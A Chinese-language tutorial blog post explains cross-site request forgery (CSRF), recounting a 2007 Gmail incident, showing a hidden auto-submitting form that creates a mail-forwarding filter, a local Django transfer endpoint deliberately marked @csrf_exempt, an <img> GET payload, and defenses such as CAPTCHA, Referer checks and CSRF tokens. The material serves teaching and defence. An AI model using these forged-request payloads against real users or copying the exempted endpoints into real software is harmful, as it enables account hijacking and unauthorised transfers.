为什么不能点击不明来源的链接?其背后的原理又是如何的?这篇文章,就带你走进一种利用恶意链接发起攻击的方式:跨站请求伪造攻击(CSRF)。

一个例子

文章的开始,我想用一个例子来给大家一点直观的感受。

有一天,小明一如既往点开他的邮箱查阅未读邮件,发现了这么一封邮件,上面写着:

甩卖比特币,一个只要998!

当然,我们都清楚,这几乎确定是一封钓鱼邮件。但是为了能把故事讲下去,我们只能让小明点开这个链接。小明点开链接后,发现不出意外是一个空白页面。小明关掉了这个页面,不再理会这件事情。

直到几个月后的某一天,小明收到了域名赎回的邮件。起初他以为是自己忘记续费了,直到对方开出了600美刀的价格,他才发现域名被转让了!这时,他回到了那个曾经打开过的空白页面,查看了网页的源代码,发现了如下的字样:

1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" 
enctype="multipart/form-data" style="visibility: hidden">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>

稍有HTML知识的读者就会发现,这是一张隐藏的form表单。表单内容是向Gmail发送一个请求创建邮件过滤规则,其规则为将收到的所有邮件转发给hacker@hackermail.com。同时,这个页面有一个自动执行的Javascript,其发送的这个隐藏的表单。这样一分析,我们就不难理解小明都经历了什么了。

这个事情是具有原型的,其为2007年Gmail的CSRF严重漏洞。受害者的经历大家可以点击这里去阅读。

007年Gmail的CSRF严重漏洞
007年Gmail的CSRF严重漏洞

那么,我们不禁要问,这个攻击为什么能够做到?

CSRF原理

简单介绍

CSRF(Cross-Site Request Forgery)漏洞,即跨站请求伪造漏洞,是一种常见的Web应用漏洞。CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

这样的定义还是过于抽象了,通俗来讲,就是攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

攻击者是如何盗用身份的?这就不得不提到现代通信协议中的重要一部分:Cookie和Session机制。

Cookie和Session

HTTP协议是一种无状态的协议,对于先后到达的两个请求之间的关系,HTTP并不了解也不关心是否来自于一个用户,它将这两个请求一律当作两个不同的客户端来处理。这样会导致一些麻烦:如果我连续两次访问同一个网站,我是不是还要输入一次密码?或者重新向服务器证明我的身份?Cookie和Session的引入就是为了解决这个问题。

Cookie和Session示意图
Cookie和Session示意图

上述流程明确地展示了Cookie和Session的作用:用户访问目标网站时,目标网站会试图将一个小型文本文件写入你的浏览器中,这就是Cookie。当你再次访问同一个网站时,浏览器会自动带上这个Cookie以证明你的合法身份;目标网站也能根据你的Cookie选择不同的Session(一般是数据库中的一部分)为你提供定制化的服务。

CSRF攻击原理一图详解

知道了Cookie和Session,那么CSRF的原理就很好解释了。以下以一张图来展示:

一图详解CSRF
一图详解CSRF

首先,攻击者会提供一个“不怀好意”的界面,等待用户上钩。当受害者访问了这个有害界面时,其利用页面中的恶意代码强制用户向某个具有CSRF漏洞的服务器发送请求。这个请求因为是从受害者端发出的,因此会自动带上受害者的Cookie。服务器接收到这个请求后,认为是合法用户的请求进而执行,使得攻击者的计谋得逞。这就是CSRF的大致原理。

CSRF攻击实例

重要提示

接下来的示例全部在本地进行。如果你也想要以学习为目的尝试CSRF攻击,请在本地建立靶机,而不要试图攻击别人的网站!

GET型攻击

GET请求是HTTP常用的向服务器发送数据的方式之一,其特点是可以将参数显式地拼接在URL中请求,因此可以用来传递一些短的参数。例如:https://cn.bing.com/search?q=搜索&form=QBRE中:就传递了这么两个参数:qform。但这样的请求方式安全性很弱,其会被浏览器的历史浏览所记录,并且参数也暴露在URL中。

漏洞风险

接下来的示例中的示例代码请不要在生产环境使用!

我们在本地创建一个api来完成转账服务,使用框架为django。其视图函数如下:

1
2
3
4
5
6
7
8
@csrf_exempt
def transfer(request):
if request.method == "GET":
target = request.GET.get('target')
amount = request.GET.get('amount')

print("Successfully transferred {} to {}".format(amount, target))
return HttpResponse("Transferred successfully by GET!")

上述函数从GET请求中获取两个参数:targetamount,来表示转账对象转账金额。发起转账的用户信息从用户发来的Cookie中获取。此时我们只需要使用户点击如下样子的链接:http://127.0.0.1:8000/api/transfer/?target=felix&amount=10000,用户的10000元就被转账到了felix账户上。

当然,这样的链接很不聪明,因为URL中包含了太多敏感字眼:例如transfer和amount。因此,使用短链接进行伪装是一个很好的想法。更明智一些,我们可以将这个请求放在HTML页面中,例如下面这样的例子:

1
<img src="http://127.0.0.1:8000/api/transfer/?target=felix&amount=10000" />

攻击者可以使得用户访问自己的恶意页面时返回包含如上<img>标签的HTML使得自动请求src的资源,进而发出了这个GET请求。从受害者的角度看来,这个页面除了一个加载不出的图片以外,什么也没有。

受害者看到的
受害者看到的
页面源代码
页面源代码

当然了,大多数网站都不会用GET请求发送涉及敏感操作的请求。所以这种方式的适用性有限。

POST请求

与GET请求相对应的,是POST请求。POST请求也是HTTP协议中向服务器传递数据的一种方式,该请求向服务器提交/发送要被处理的数据。POST请求的特点包括:相比于GET请求安全性高,其数据存在于请求体中,安全要求高时可以加密;请求数据不会被浏览器记录,也不会被缓存;可以传递的数据量比GET请求高。

这样的请求将发送的数据放在请求体中,如下图所示:

POST请求的负载
POST请求的负载

攻击POST请求的api接口时相较于GET请求并没有复杂多少,因为我们的目的就是利用受害者的Cookie身份。我们依然利用钓鱼链接诱骗用户上当,这个链接依然可以通过前面说的短链接,或者重定向等方式来伪装。页面也可以设置成为一个自动发送的POST表单,其中包含了我们希望受害者做的操作。

后端处理POST请求的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@csrf_exempt
def transfer(request):
if request.method == "GET":
target = request.GET.get('target')
amount = request.GET.get('amount')

print("Successfully transferred {} to {}".format(amount, target))
return HttpResponse("Transferred successfully by GET!")

if request.method == "POST":
target = request.POST.get('target')
amount = request.POST.get('amount')
print("Successfully transferred {} to {}".format(amount, target))
return HttpResponse("Successfully transferred by POST")

return HttpResponse("invalid visit")
恶意页面包含的内容
恶意页面包含的内容

与小明碰到的情况非常类似,这个页面也自动发送了一个在服务器看来完全合法的表单。这样,POST请求也并没有保证拦截非法请求。那么,CSRF有什么防范措施吗?

CSRF攻击的预防

答案是显然的。不论上述哪种攻击方式,他们有一个共同的特点:**CSRF攻击之所以能成功,是因为攻击者可以完全伪造用户的请求。**只要破坏这个条件,CSRF就是很容易预防的。

常见的防御措施有:验证码、Referer验证、CSRF-token。

验证码

验证码强制用户与网站进行交互,而不能离开交互便获取到所有需要的信息,因此可以用来防范CSRF攻击。但是,验证码的缺点是:其对用户体验的破坏性的。

对用户体验的破坏性
对用户体验的破坏性

Referer验证

Referer是请求头中的一个字段,其包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端可以使用 Referer 请求头识别访问来源。我们发现,伪造的请求大多都来源于攻击者构建的页面,这个信息会被存储在Referer请求头中。后端接收到请求时可以对该字段进行检查,来过滤掉可能是CSRF攻击所伪造的请求。

我们假设服务器的网址:http://127.0.0.1:8000,而攻击者页面的地址:http://127.0.0.1:80,那么显然:正常请求的来源肯定是前者,而后者发来的请求在正常情况下大概率是不会发生的。

Referer字段的不同
Referer字段的不同

CSRF token

CSRF token是服务器后端返回页面时自动生成的字符串,一般是随机字符串与时间戳的加密密文。在用户访问该网站时,服务器会产生一个token交给用户;在提交请求时,前端自动携带这个token发送给后端校验,来判断这个请求是否是用户自愿发送的。在django中,我们可以如下设计表单使其带上CSRF token:

1
2
3
4
5
6
<form method="post" action="/api/transfer/">
{% csrf_token %} # csrf token
<p>target: <input type="text" id="target" name="target" /></p>
<p>amount: <input type="text" id="amount" name="amount"/></p>
<button type="submit" value="submit">Submit</button>
</form>

此时,前端页面可能没有变化:

貌似没有变化的前端页面
貌似没有变化的前端页面

但事实上,表单中多了一个隐藏的字段,就是这个随机的token。

已经嵌入了一个额外的字段csrf-token
已经嵌入了一个额外的字段csrf-token

现在,许多的网站都选择通过这种方式来防止CSRF攻击,读者可以查看任意一个可以提交数据的网站的页面源码来看看是否有一个csrf token。

结束语

这篇文章通过原理与实践的方式介绍了Cookie和Session的机制、CSRF攻击的原理以及防范措施。当然更重要的,是每个人都要保护好自己的Cookie。Cookie宛如一张“电子身份证”,向网站证明你的身份。Cookie的私密性是非常重要的,因此,定期清楚浏览器中不使用的Cookie也是一个好的习惯。

- -